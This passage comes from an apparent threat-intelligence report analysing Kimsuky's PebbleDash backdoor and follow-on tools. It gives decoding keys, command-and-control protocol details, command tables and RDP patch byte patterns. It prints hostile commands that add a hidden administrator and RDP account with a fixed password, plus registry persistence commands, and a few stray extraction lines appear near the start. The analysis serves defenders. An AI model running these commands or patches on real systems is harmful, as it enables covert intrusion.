PebbleDash www.onedriver.kro[. ]kr news.scienceon.r-e[. ]kr AppleSeed you.ilove.n-e[. ]kr PIF get.seino.p-e[. ]kr 216.189.149[. ]78 PebbleDash movie.youtoboo.kro[. ]kr AppleSeed ppahjcz.tigerwood[. ]tech ping.requests.p-e[. ]kr interface.avg.n-e[. ]kr driver.spooler.p-e[. ]kr Table 16. Comparing CC information of PebbleDash and AppleSeed Below is the analysis information of initial and latest versions of PebbleDash and the comparison between the two samples. 4.1. Analysis of Initial PebbleDash 4.1.1. Initial Routine As initial versions of PebbleDash check for arguments and terminate themselves if there is no match, they use the anti-sandbox technique that does not perform any behaviors if they are terminated. The following is the argument string that the current analysis target sample compares to. -
290
Argument String Needed for Execution: 48Ur31h45dGy a.
60,698
61,062
365
data/reports_final/0290.txt
Argument String Needed for Execution: 48Ur31h45dGy a. Routine for Decoding Argument and Settings Data Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 40 The string shown above exists in the binary in the Xor encoded form. PebbleDash uses two types of decoding routines: A routine of decoding arguments and settings data, and a routine of decoding the API list. Both are done in the 0x1 byte Xor method, but the algorithm and key data are different. This report will first discuss the routine used to decode settings data that includes the argument value. The followings are the 0x40 byte-sized Xor key and decoding routine. - Xor Key used to Decode Settings: 5E 85 41 FD 0C 37 57 71 D5 51 5D E3 B5 55 62 20 C1 30 96 D3 77 4C 23 13 84 8B 63 5C 48 32 2C 5B 94 8F 3A 26 79 E2 6B 94 45 D1 6F 51 24 8F 86 72 C8 D3 8D C1 C0 D3 88 56 84 B3 91 E2 B2 24 64 24 - Xor Decoding Algorithm: EncDatan xor XorKeynSizeOfEncData-80x40 xor 0x59 Figure 43. Xor decoding routine used to restore arguments and settings data The data is decoded using simple encoded data, 0x59, and the Xor key. The Xor key is 0x40 byte, and the 0x01 byte key value that is used is the -0x08 offset of the encoded data size. - Example Encoded String: B8 30 51 C8 92 4C 08 5D A9 01 FB BF 4A 52 03 4A Decoded String: 34 38 55 72 7E 40 33 24 31 68 34 35 64 47 79 00 ( 48Ur31h45dGy ) b. Routine for Decrypting API Function List Besides settings data, PebbleDash has an encrypted list of API functions that it uses after the decryption and API Resolving process. The list of API functions is encrypted in the data section. Decrypting the entire 0x0829 size allows you to obtain the list for the entire API. The list also uses the 0x01 byte Xor method, based on the 0x10-sized Xor key data shown below. - Xor Key Data Used for API List Decryption: 81 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 The Xor method uses the 0x01 offset, meaning that 0x16 to 0x01 bytes based on the key shown above are used as an Xor key. - Xor Decryption Algorithm: EncDatan xor XorKeyn1 When 1 key is used, the new 0x01 byte Xor key is created based on the 0x10 byte-sized Xor key data using the following algorithm. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 41 - Key Creation Algorithm: ( key0x00 key0x09 ) xor key0x0d xor key0x0f NewXorKey For instance, the Xor key that is first created becomes 0x6E by adding each offsets 0x01 byte value and going through the Xor operation. Using such a method, the algorithm creates a new 0x01 byte key each time. - Example: (0x81 0xE2 ) xor 0x6A xor 0x67 0x6E - New Xor Key Data: 16 AA 52 36 F2 03 3F 6D E2 48 41 49 6A 7E 67 6E Figure 44. Xor decryption routine used for restoring API list Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 42 Figure 45. List of API names that are decrypted 4.1.2. Recovering Settings Data Settings data is encoded with 0x01 byte Xor in the same method for argument strings discussed above. PebbleDash can have 5 CC server URLs and randomly choose 1 among them to communicate. The current analysis target sample only has 1 URL. The settings data is shown below. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 43 Figure 46. Decrypted settings data Table 17 shows the structure of the settings data. Up to 5 CC URL data from 0x00 to 0x10 byte sizes can be included. Offset Size Meaning 0x00 0x02 sockaddr_in.sin_family 0x02 0x02 sockaddr_in.sin_port 0x04 0x04 sockaddr_in.sin_addr 0x08 0x08 NULL ... ... ... 0x50 0x08 Next CC communications time 0x58 0x04 Default Sleep count 0x5C 0x04 Random value 0x60 0x04 Drive notification flag 0x64 0x04 Session notification flag Table 17. Settings data The PebbleDash sample discussed here uses Raw Socket to communicate with the CC server. Upon examining the decrypted settings data, the CC URL is shown as 41.92.208[. ]195:443. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 44 Unlike other backdoors, PebbleDash does not have multiple communications with the CC server during a short period, waiting at least 60 seconds before performing a command. The settings data for the 0x58 offset means the setting for the Sleep() time for waiting. As the sample above has a value of 0x0A (10), it will wait for 600 seconds. The default Sleep time can be modified by the CC command. The settings data for the 0x50 offset indicates the next time the communication starts with the CC server. It currently has NULL, but it can be modified by receiving commands. This means that the malware can receive commands from the CC server to communicate several hours later. The settings data for the 0x5C offset is the 0x4 byte random data that was found earlier. As it is used to communicate with the CC server, it is presumably used as a unique identifier. Since PebbleDash waits for a long time to communicate with the CC server by default, it is difficult for the malware to respond to changes in the infected system in real-time. Given the fact, the developer has added a feature which ends the waiting routine and enables communication with the CC server when a new drive or session is created to prevent the malware from waiting for an indefinite period of time. The feature is enabled when the drive notification flag and session notification flag mentioned earlier are set. Figure 47. Routine for drive and session notifications The routine first uses the GetLogicalDrives() API to find the number of drives that are currently available and periodically checks the change in quantity. When a new drive is added, it is most likely that a USB memory has been inserted. The routine also uses the WTSEnumerateSessionsW() API to monitor the number of currently enabled sessions. If another user logs on to the infected system or accesses remotely through RDP, the number of sessions will increase, enabling PebbleDash. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 45 PebbleDash also has a command that sends various information of the infected system to the CC server, and this will be mentioned later in this report. Among data that is sent, there is the status data. As seen below, it gains a different value when the malware is performing commands or when a drive/session is added. Such status value will be meaningful only when it is sent to the CC server in real time. So while we cannot precisely know how the CC server is configured, it appears that the command is used for basic communications instead of the attacker manually sending it. Status Data Meaning 0x00 Initial Value 0x01 Performing waiting routine 0x02 Performing command routine (in units of 5) 0x03 When a drive is added (usually when USB is inserted) 0x04 When a session is added (usually logging in through local or RDP) Table 18. Types of status data 4.1.3. CC Communications PebbleDash communicates with the CC server by disguising itself as TLS communications. For instance, the following is the packet initially sent to the CC server. Figure 48. Initial packet sent to CC server The packet is the Client Hello request of the TLS Handshake process and has the following structure. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 46 Figure 49. TLS Client Hello Besides the default items, the rest is configured dynamically for each item. For instance, items, such as type and TLS version, are the same, but values, such as server_name and Cipher Suites that are sets of encryption algorithm, randomly choose one hard-coded value in the binary as shown in Figure 50. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 47 Figure 50. Randomly selected data For URL (server_name), one normal URL is also randomly selected among the following list. Figure 51. Randomly selected dummy URL Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 48 www.wordpress.com www.wikipedia.org www.yahoo.com www.uc.com www.paypal.com www.linkedin.com www.microsoft.com www.avira.com www.dell.com www.bing.com www.apple.com www.avast.com www.amazon.com www.baidu.com The following table provides details on the packet mentioned above that is sent to the CC server. Offset Size Description Data Hex 0x00 0x01 Content Type Handshake (22) [ 16 ] 0x01 0x02 Version TLS 1.0 [ 03 01 ] 0x03 0x02 Length 106 [ 00 6A ] 0x05 0x02 Handshake Type Client Hello (1) [ 01 00 ] 0x07 0x02 Length 102 [ 00 66 ] 0x09 0x02 Version TLS 1.0 [ 03 01 ] 0x0B 0x20 Random Random data [61 93 0B 3D 05 22 45 DB C9 DF 2B 14 9E 1E 76 57 AB B4 BC B1 5A B7 C4 9E C3 2B 99 CE 68 DE DD 28 ] 0x2B 0x01 Session ID Length 0 [ 00 ] 0x2C 0x01 Cipher Suites Length 24 [ 00 18 ] 0x2E 0x18 Cipher Suites 12 suites [00 2F 00 35 00 05 00 0A C0 13 C0 14 C0 09 C0 0A 00 32 00 38 00 13 00 04 ] 0x46 0x01 Compression Methods Length 1 [ 01 ] 0x47 0x01 Compression Methods NULL [00] 0x48 0x02 Extensions Length 37 [ 00 25 ] 0x4A 0x13 Extension server_name [ 00 00 00 0F 00 0D 00 00 0A 77 77 77 2E 75 63 2E 63 6F 6D ] 0x5D 0x0C Extension elliptic_curves [00 0A 00 08 00 06 00 17 00 18 00 19 ] 0x69 0x06 Extension ec_point_formats [ 00 0B 00 02 01 00 ] Table 19. Packet example Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 49 When PebbleDash sends data to the stolen CC server, it encrypts the data using the RC4 algorithm. The process will be discussed in the Performing Commands part. The case is the same when the malware receives commands from the CC server, for which the identical key is used. - RC4 Key: 79 E1 0A 5D 87 7D 9F F7 5D 12 2E 11 65 AC E3 25 Figure 52. Hard-coded RC4 key 4.1.4. Performing Commands The commands sent from the CC server can largely be divided into 2 stages. The first stage performs default commands as shown below. Additional commands are sent only when the command is 0x04. Command Feature 0x03 Sleep (60 seconds) 0x04 Additional command 0x15 Setting Sleep count 0x19 Restoring default Sleep count 0x26 Auto-delete Table 20. Command Type 1 The 5 commands are all simple, but as mentioned earlier, the auto-delete routine has one noticeable characteristic. To perform auto-delete, a batch file needs to be created. In this case, the name of the batch file created in the TEMP path is qsm.bat. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 50 Figure 53. qsm.bat file used for auto-delete If the first Type 1 command is 0x04, the malware can download Type 2, the actual commands. The downloaded commands are also encoded with RC4, and the first decoded byte is the command byte for the table shown below. Command Feature 0x09 Stealing drive information 0x0A Terminating process 0x0B Downloading files 0x0C Deleting files 0x0D Deleting files 2 0x0E Stealing system info (Windows version, adapter, status data, etc.) 0x0F Stealing information of currently running processes 0x10 Performing command line commands and stealing results 0x11 Performing command line commands and stealing results (Hidden) 0x12 Changing MAC time 0x13 Uploading files 0x14 Setting the next CC communications time 0x15 Setting Sleep count 0x16 Setting current task directory 0x18 Stealing file information 0x19 Maintaining connection 0x1A Stealing file and directory information 0x1D Manipulating files 0x1E Changing file property 0x1F Running processes 0x23 Changing settings data 0x24 Sending settings data 0x25 Scanning certain IP Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 51 0x26 Auto-delete 0x27 Uploading and deleting files Table 21. Command Type 2 As most of the commands the malware support are also normally supported by other backdoors, this report will only focus on those with noticeable traits. The commands 0x0C and 0x0D both delete files in the path that they receive. Yet, whereas 0x0C simply deletes files using the DeleteFileW() API, the 0x0D command deletes files after overwriting them with dummy data. It appears that the latter is to obstruct file recovery in the future. 0x10 and 0x11 perform command line commands and send the result to the CC server. The only difference between the two is whether the CREATE_NO_WINDOW flag is used or not (status for outputting the console window). Each command uses the following command lines to output the result in the TEMP path and sends it to the CC server. cmd.exe /c [Command] [Temp file] 21 cmd.exe /c [Command] 2[Temp file] The 0x12 command changes the MAC (Modified Time, Accessed Time, and Created Time) time of the file. It finds the MAC time of the file in the path that it received as the first argument and changes it to the MAC time of the file that it received as the second argument. The 0x1E command can change file properties, and the 0x1D command can also change the header TimeStamp besides file properties if the target file is PE. 4.2. Analysis of Latest PebbleDash 4.2.1. Initial Routine Encoded inside the recent PebbleDash samples are strings and a list of API functions that will be used, but their algorithms are different from the ones used in the past. The current analysis target sample has the following string consisting of numbers and alphabetical characters in random order. - Data String (DataStr): zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt The following table shows the offset for each uppercase and lowercase alphabets, number, and special characters - and _. Character Offset Character Offset Character Offset Character Offset 0 0x14 G 0x28 W 0x06 m 0x2F 1 0x0A H 0x1A X 0x03 n 0x2e 2 0x27 I 0x22 Y 0x0F o 0x17 3 0x09 J 0x25 Z 0x19 p 0x2D 4 0x0B K 0x1F a 0x0E q 0x33 5 0x35 L 0x10 b 0x32 r 0x23 6 0x3C M 0x26 c 0x01 s 0x3B Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 52 7 0x29 N 0x21 d 0x18 t 0x3F 8 0x1B O 0x1C e 0x1E u 0x37 9 0x39 P 0x34 f 0x3D v 0x11 A 0x2B Q 0x2A g 0x02 w 0x0D B 0x38 R 0x1D h 0x13 x 0x2C C 0x0C S 0x05 i 0x20 y 0x12 D 0x3A T 0x36 j 0x08 z 0x00 E 0x30 U 0x15 k 0x07 - 0x24 F 0x3E V 0x31 l 0x04 _ 0x16 Table 22. Offset of each character The following example shows how the argument string needed for execution (MskulCxGMCgpGdM) is decrypted. The string is 15 characters, but the encrypted string is 19 characters. - Encrypted String (EncStr): P9HpHPN-BSWUHSOHOvz - Decrypted String: MskulCxGMCgpGdM The offsets for the first 4 characters of the 19-character string (P9Hp) is shown below. Each 0x4 byte below is circulated in order and used as a key. - Offsets for First 4 Strings (EncKey): 0x34, 0x39, 0x1A, 0x2D The malware starts operation for the rest of the characters (HPN-BSWUHSOHOvz). You can see that the first character is H and the offset 0x1A. As for 0x1A, subtracting the first key 0x34 and performing the and operation with 0x3F results in 0x26. Finding the 0x26 offset string from the string (zcgXlSWkj314CwaYLvyh0U_odZH8OReKiNIr-JM2G7QAxpnmEVbqP5TuB9Ds6fFt) yields M. - Decryption Algorithm: offet( DataStr, ( offet( EncStr, n ) - offset( EncKey, n3 ) ) and 0x3F ) As the operation only processes characters included in the string, those such as . are not encrypted. The following example shows that the string / was not encrypted because it was not included in the string. - Encrypted String: rQvVWjh Vg7 TVyG\JGnIuK0c\zv-wGxD2L\E1t3DuC\-NP0cdLgcwCvDd\0Hd /s \C\ x /E kcZ9mQ /s J /2 - Decrypted String: reg add hkcu\software\microsoft\windows\currentversion\run /d \s\ s /t REG_SZ /v s /f Like the initial version, the latest PebbleDash sample compares the string MskulCxGMCgpGdM to the argument string that it received upon execution. When the strings do not match, it terminates itself. When the malware is executed by receiving the argument in the actual environment, it first creates the \system32\ folder in the same directory and copies itself with the name smss.exe. Note that recently confirmed PebbleDash strains all copies themselves in that directory. Unlike the initial samples that did nothing for their sustenance, the new samples register a string such as the encrypted string shown above to the Run key using the reg command. They then run recursion by sending the argument YRfDFtxLjoBuYXA along with the path of the previous file as shown below. When PebbleDash samples receive the argument and the third argument, they delete files in the path received through the third argument. The files are not directly deleted but overwritten with Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 53 NULL data like the command in the initial PebbleDash version. C:\ProgramData\system32\smss.exe YRfDFtxLjoBuYXA C:\ProgramData\PebbleDash.exe 4.2.2. Recovering Settings Data Recently confirmed PebbleDash samples encrypt settings data like previous versions. For the latest form, the simple 0x10 byte Xor method is used. While it is 0x10 byte, the key value is still 0x9F. - Xor Key: 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F 9F Figure 54. Xor decryption routine Figure 55. Settings data being decrypted Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 54 The following table shows the settings data used in the latest PebbleDash sample. They are mostly similar to the samples discussed earlier in this report. There are some differences the volume serial number is used along with random data when the sample communicates with the CC server, and unlike the initial version, which used Raw Socket to communicate with the CC server, the latest version uses the HTTP protocol. Offset Size Meaning 0x0000 0x0008 Next CC communications time 0x0008 0x0004 Default Sleep time (in minutes) 0x000C 0x0004 Volume serial number 0x0010 0x0004 Drive notification flag 0x0014 0x0004 Session notification flag 0x0018 0x0208 CC Server URL 1 0x0220 0x0208 CC Server URL 2 0x0428 0x0208 CC Server URL 3 0x0630 0x0208 CC Server URL 4 0x0838 0x0208 CC Server URL 5 0x0A40 0x0800 Shell (cmd.exe) 0x1240 0x0800 Temp Directory Table 23. Settings data The part that sets the next CC communications time, default Sleep count, and notification flags for drives and sessions are mostly the same. The status data also have identical values. Status Data Meaning 0x00 Initial Value 0x01 Performing waiting routine 0x02 Performing command routine (in units of 5) 0x03 When a drive is added (usually when USB is inserted) 0x04 When a session is added (usually logging in through local or RDP) Table 24. Types of status data 4.2.3. CC Communications The latest version of PebbleDash uses the HTTP protocol to communicate with the CC server and as such, uses queries to send and receive data. The following table shows the queries used to communicate with the CC server. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 55 Query Type Meaning sep Types of data that is sent uid Volume serial number sid Random data data Data to be sent Table 25. Queries used for CC communication For instance, when the malware tries to secure the initial connection, it makes a POST request with the following query: [CC URL]?sepzDyTRPortBIUyueuid7057e9dcsid01d1f346 sep refers to the type of data that will be sent. The current analysis target sample has 6 queries defined but practically, 3 are used. Figure 56. Defined Types Query Number Query String Use 1 zDyTRPortBIUyue Securing connection with the CC server 2 QFbgweAUBDjojNR Sending command perform results 3 BJIcQHTzhmuafuL Downloading commands 4 trceNSkCJRwZQQL Not used 5 qWTZUgfjdigTpUW Not used 6 lZpReYjnpgYClLi Not used Table 26. Types of data sent Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 56 When the malware successfully connects to the CC server, it downloads commands using the following query. uid is not included as it is only used to establish the initial connection, and the 3rd query and sid are used instead. [ CC URL]?sepBJIcQHTzhmuafuLsid01d1f346 The downloaded data is likely a string encoded with Base64. The data received goes through the Base64 decoding process. You can check the actual commands if you decrypt the data using the AES128 algorithm. - AES128 Key: erNpiMneSIYnRKoE Figure 57. Base64 Decoding and AES128 Decryption Routine When receiving commands as well as sending results PebbleDash goes through the AES128 encryption and Base64 encoding process. The AES128 key is the same for both cases. It sends a routine that sends the success and failure status, and the one that sends the result for performing commands. They are all sent as the data item shown below. [ CC URL]?sepQFbgweAUBDjojNRsid01d1f346dataLainSGh6TfPX9wC8LkBHKw The success and failure status are 0x02 and 0x01 respectively. Upon success, the data is created by going via the following process. - Original Data: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - AES128 Encryption: 2D A8 A7 48 68 7A 4D F3 D7 F7 00 BC 2E 40 47 2B - Base64 Encryption: LainSGh6TfPX9wC8LkBHKw Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 57 4.2.4. Performing Commands Most of the commands supported by the latest version of PebbleDash are not much different from the previous samples. Their features are similar as well. For instance, upon self-deletion, it creates the qsm.bat batch file and executes it to carry out the process. Furthermore, the command lines used to send results after performing commands are almost the same. Command Feature 0x03 Setting current task directory 0x04 Changing MAC time 0x05 Terminating process 0x06 Stealing information of currently running processes 0x07 Deleting files 0x08 Deleting files 2 0x09 Running processes 0x0A Execution using file download and RegSvr32 0x0B Execution in file download and memory 0x0C Uploading files 0x0D Downloading files 0x0E Setting the next CC communications time (in minutes) 0x0F Setting the next CC communications time (in Hex) 0x10 Auto-delete 0x11 Stealing system info (Windows version, adapter, status data, etc.) 0x12 Changing settings data 0x13 Sending settings data 0x14 Performing command line commands and stealing results (Hidden) 0x15 Performing command line commands and stealing results 0x16 Maintaining connection Table 27. Command list Some of the commands in the list above deserve a special discussion. First of all, it should be noted that most types of malware recently created by Kimsuky group are in DLL forms executed through regsvr32.exe. The purpose of the 0x0A command is to support such malware strains, having an additional command to execute the malware with regsvr32.exe /s after downloading payloads. In the case of the 0x0B command, it supports a command that can execute the malware in memory instead of downloading in file forms. This type of payload supports DLL as well as an EXE form PE. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 58 5. Post Infection After the initial compromise, the Kimsuky group installs a backdoor such as AppleSeed or PebbleDash on the target system. In most cases, they continue to install additional malware strains. While these malware strains can install additional files, steal information, and perform command line commands sent from the attacker, they lack features to remotely control the infected system like other backdoor and RAT malware. This is why the attackers install Meterpreter backdoor of Metasploit or VNC malware to remotely control the system through additional payloads. VNC, also known as Virtual Network Computing, is a screen sharing system that remotely controls other computers. Similar to the commonly-used RDP, it is used to remotely access and control other systems. The technology allows attackers to control the targeted system in a graphic environment. This part will discuss malware strains that are additionally installed by the Kimsuky group after the system is infected with AppleSeed or PebbleDash. 5.1. Remote Control 5.1.1. Meterpreter Metasploit is a penetration testing framework. It is a tool that can be used to inspect security vulnerabilities for networks and systems of companies and organizations, providing various features for each penetration test stage. Like Cobalt Strike, it provides features necessary for each stage, from creating various types of payloads for the initial infection and stealing account credentials to dominating the system via lateral movement. Figure 58. Metasploit GitHub Cobalt Strike provides Beacon which is the actual malware that operates as a backdoor in the infected PC. Depending on the method of installing a Beacon, it can be classified as Staged or Stageless. When Cobalt Strike is built with the Staged method, a powershell or small shellcode that has a downloader feature is created. The attacker can distribute such small-sized stager through various means. When the stager is executed in the infected PC, it downloads Beacon that is the main malware from the CC server on the memory and executes it. The Stageless method creates a binary included with Beacon instead. As such, the binary can directly communicate with the CC server without having to download Beacon. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 59 Metasploit also provides a backdoor that performs actual malicious behaviors like Beacon from Cobalt Strike, called Meterpreter. Like Beacon, it can be created in both Staged and Stageless methods. This means that both Cobalt Strike and Metasploit can be used as penetration test tools to control the infected PC and steal information. The Kimsuky group mainly uses the stager method. Instead of including Meterpreter in the distributed file, a shellcode is included to download a backdoor containing Meterpreter. To be more precise, the downloaded file is metsrv.dll, the basic backdoor of Meterpreter. The file is created to be executed with the Reflective DLL injection method as shown below. One characteristic of the method is that the start address (the part starting with MZ) can operate as a code. The code that newly loads the DLL file itself into the memory through MZ is executed. When the loading is complete (in other words, when the Reflective DLL injection method is finished), the file hands over the control to run the actual code of metsrv.dll. Note that Meterpreter is modularized depending on its features. Besides the default metsrv.dll, it supports various extension DLLs for privilege escalation or additional tasks. Most of the samples collected are x64 DLL, executed by being loaded through the regsvr32.exe process. A glance at the file shows that the strings are obfuscated like other malware of the Kimsuky group. The following shows a routine that injects the stager shellcode to rundll32.exe. Figure 59. Decoding routine similar to AppleSeed, Kimsuky groups another backdoor The injected shellcode downloads Meterpreter on the memory from the 79.133.41[. ]237:4001 URL and executes it. The following is the Meterpreter DLL downloaded from the Metasploit CC server, which is similar to the binary found in the memory area mentioned above. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 60 Figure 60. Meterpreter DLL being downloaded The downloaded binary is the same as the source code of the open source Meterpreter. Figure 61. server_setup() function that is initial routine of downloaded metsrv.dll 5.1.2. HVNC (TinyNuke) TinyNuke, also known as Nuclear Bot, is a banking malware discovered in 2016. It includes features such as HVNC (HiddenDesktop/VNC), reverse SOCKS4 proxy, and form grabbing. As its source code was revealed in 2017, TinyNuke is used by various attackers, and the HVNC feature is partially borrowed by other malware such as AveMaria and BitRAT. Among the various features of TinyNuke that is being distributed, only the HVNC feature is enabled. A difference between normal VNC and HVNC used by TinyNuke is that the user does not realize that the Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 61 PC is infected and its screen is being controlled. The following shows the process tree when HVNC is enabled. Figure 62. Process tree upon using HVNC In the process tree is explorer.exe (PID: 3140), which is the child process of explorer.exe (PID: 2216). The attacker is able to control the screen via the new explorer.exe (PID: 3140), and the GUI (Graphical user interface) of the process created while the attacker is controlling the target PC is not visible on the target PC screen. This type of VNC remote access is called HVNC (Hidden Virtual Network Computing). Another characteristic of the malware is that it uses the reverse VNC method. VNC consists of a server and a client. It installs the VNC server on the control target system, and the user who wishes to control the system remotely uses the VNC client. It gains control of the VNC client by going through the VNC server installed on the remote control target system. In a normal VNC environment, it attempts to access the remote control target (VNC server) via the VNC client. However, HVNC of TinyNuke attempts to access the client from the server with the Reverse VNC feature. This means that when HVNC of the infected system is run, the awaiting attacker accesses the designated CC server and uses the VNC client (server for HVNC) on the CC server to gain remote control. It is assumed that this is to bypass firewalls such as Reverse Shell that blocks internal access from the outside and to support communication in a private IP environment. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 62 Figure 63. Attackers HVNC screen Note that TinyNuke uses AVE_MARIA string for verification when establishing the HVNC communication between the server and the client. This means that when AVE_MARIA string is sent from the HVNC client to the server, the server verifies the name, and the HVNC communication can be enabled if AVE_MARIA is correct. Figure 64. AVE_MARIA string used in HVNC This is identical to that of HVNC used by Kimsuky group. However, recently there have been HVNCs using the LIGHTs BOMB string. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 63 Figure 65. LIGHTS BOMB string used in place of AVE_MARIA 5.1.3. TightVNC Another VNC malware distributed via AppleSeed backdoor is TightVNC. TightVNC is an open-source VNC utility, and the attacker customizes it to use it. TightVNC can be regarded as a normal VNC utility, but it is different in that it supports the reverse VNC feature discussed earlier. TightVNC consists of tvnserver.exe, the server module, and tvnviewer.exe, the client module. In a normal environment, it installs tvnserver on the remote control target and accesses the target using tvnviewer in the user environment. In order to use the Reverse VNC feature, it executes tvnviewer as a listening mode on the client, then uses tvnserver that is installed as a service on the access target system to set the client address using controlservice and connect commands for access gain. The Kimsuky group distributes tvnserver, and it is customized so that the Reverse VNC feature can be used in the infected environment without installing a service. As such, simply running tvnserver will allow the attacker to access tvnviewer that operates on the CC server and gain control of the screen of the infected system. Figure 66. Reverse VNC communications using tvnviewer Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 64 5.1.4. RDP Wrapper Meterpreter and VNC malware types were mainly discussed in earlier parts, yet the attacker also uses RDP Wrapper for remote control. RDP Wrapper is an open source utility that supports the remote desktop feature. Since Windows OS does not support remote desktop in all versions, RDP Wrapper needs to be installed to enable the feature. The Kimsuky group installs RDP Wrapper to multiple systems infected with AppleSeed. 5.2. RDP Related 5.2.1. Adding RDP User Among the earlier-mentioned PIF droppers, there was the type that drop and execute malware which perform the role of adding RDP user. It adds an account with the following credential. - User Account: default - Password: 1qaz2wsxEDC It adds an account by executing simple command line commands like shown below. When the commands are over, that is, when the malware achieves its aim, it deletes itself using a batch file. net user /add default 1qaz2wsxEDC net localgroup Administrators default /add net localgroup Remote Desktop Users default /add reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v default /t REG_DWORD /d 0 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f The commands use the net command to register a user named default. The user is included in the admin group as well as the RDP group, so it appears that the account will later be used to access RDP. The malware then registers the added user account to the SpecialAccounts registry key so that the user cannot know that an account has been added in the login screen. Seeing how the admin privilege is required by default to add a user account, the malware and the PIF dropper itself may have been run by other malware via run as administrator after going through the privilege escalation process instead of the user clicking it. As one needs admin privilege to add user privilege, there have been cases where the malware with the same feature (of adding user accounts) was executed by the privilege escalation malware. This privilege escalation malware will be discussed later in this article. 5.2.2. RDP Patcher Only 1 RDP per PC is allowed in a normal Windows environment. Because of this, even if the attacker knows the account credentials of the infected system, he or she cannot make an RDP connection without the user realizing it if the user is performing a task locally or a user is currently accessing the system using RDP. This is because if the attacker attempts to connect with RDP while the current user is in the environment, the current user will be logged off. To bypass such instances, the attacker may patch the memory of Remote Desktop Service to allow Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 65 execution of multiple remote desktop sessions. For instance, Mimikatz supports such a feature with the ts::multirdp command. The command finds the DLL address in the current running Remote Desktop Service (svchost.exe that loaded termsrv.dll) and searches a certain binary pattern. As the pattern is different for each Windows version, each version has a defined search pattern. When the defined pattern exists, the malware patches it into a new one, allowing multiple RDP to happen. The Kimsuky group uses a type of malware that specializes in the memory patch for multiple RDP. Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe. The currently discovered sample is an x64 binary, so it only operates in the x64 Windows architecture. Its search and patch patterns are similar to the source code of Mimikatz, but one difference is that it also supports the Windows XP version. The search patterns and patterns to be patched in each Windows version are as follows: Version (x64) Search Pattern Patch Pattern Windows XP (2600) or above 0x83, 0xf8, 0x02, 0x7f 0x90, 0x90 Windows Vista ( 6000 ) 0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb Windows 7 ( 7600 ) 0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84 0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90 Windows 8.1 ( 9600 ) 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90 Windows 10, Version 1803 ( 17134 ) 0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00, 0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00, 0x3b, 0xdf, 0x0f, 0x84 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9 Windows 10, Version 1809 (17763) or above 0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 Table 28. RDP service search and patch patterns 5.3. Privilege Escalation 5.3.1. UACMe The privilege escalation routine for AppleSeed that was mentioned earlier shows that if the following registry keys all have a value of 0 (meaning that UAC is disabled), the malware executes recursion with the admin privilege. In a normal environment, the keys are not disabled because of security reasons. - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop After installing AppleSeed, the attacker used manually patched UACMe to disable UAC. UACMe is an open-source project that is made public on GitHub. It is a command line tool that incorporates known UAC Bypass Methods. In other words, it is an open-source tool that supports dozens of UAC Bypass features. Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 66 The attacker built UACMe in the form of DLL so that it can 